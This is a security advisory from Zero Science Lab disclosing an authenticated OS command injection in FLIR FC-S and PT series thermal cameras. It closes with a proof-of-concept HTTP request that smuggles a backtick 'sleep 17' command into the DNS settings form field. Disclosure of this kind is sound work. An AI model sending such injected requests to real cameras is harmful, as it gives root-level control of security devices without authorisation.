FLIR Systems FLIR Thermal Camera FC-S/PT Authenticated OS Command Injection


Vendor: FLIR Systems, Inc.
Product web page: http://www.flir.com
Affected version: Firmware version: 8.0.0.64
                  Software version: 10.0.2.43
                  Release: 1.4.1, 1.4, 1.3.4 GA, 1.3.3 GA and 1.3.2
                  FC-Series S (FC-334-NTSC)
                  PT-Series (PT-334 200562)

Summary: Get the best image detail in challenging imaging environments with the
FLIR FC-Series S thermal network camera. The award-winning FC-Series S camera
sets the industry standard for high-quality thermal security cameras, ideal for
perimeter protection applications. The FC-Series S is capable of replacing multiple
visible cameras and any additional lighting and infrastructure needed to support
them.

Desc: FLIR FC-S/PT series suffer from an authenticated OS command injection vulnerability.
This can be exploited to inject and execute arbitrary shell commands as the root user.


Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le
           Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082
           Nexus Server/2.5.29.0
           Nexus Server/2.5.14.0
           Nexus Server/2.5.13.0
           lighttpd/1.4.28
           PHP/5.4.7


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5437
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5437.php


23.03.2017

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PoC request (sleep 17):

POST /page/maintenance/lanSettings/dns HTTP/1.1
Host: TARGET
Content-Length: 64
Accept: */*
Origin: http://TARGET
X-Requested-With: XMLHttpRequest
User-Agent: Testingus/1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://TARGET/maintenance
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: PHPSESSID=d1eabfdb8db4b95f92c12b8402abc03b
Connection: close

dns%5Bserver1%5D=8.8.8.8&dns%5Bserver2%5D=8.8.4.4%60sleep%2017%60
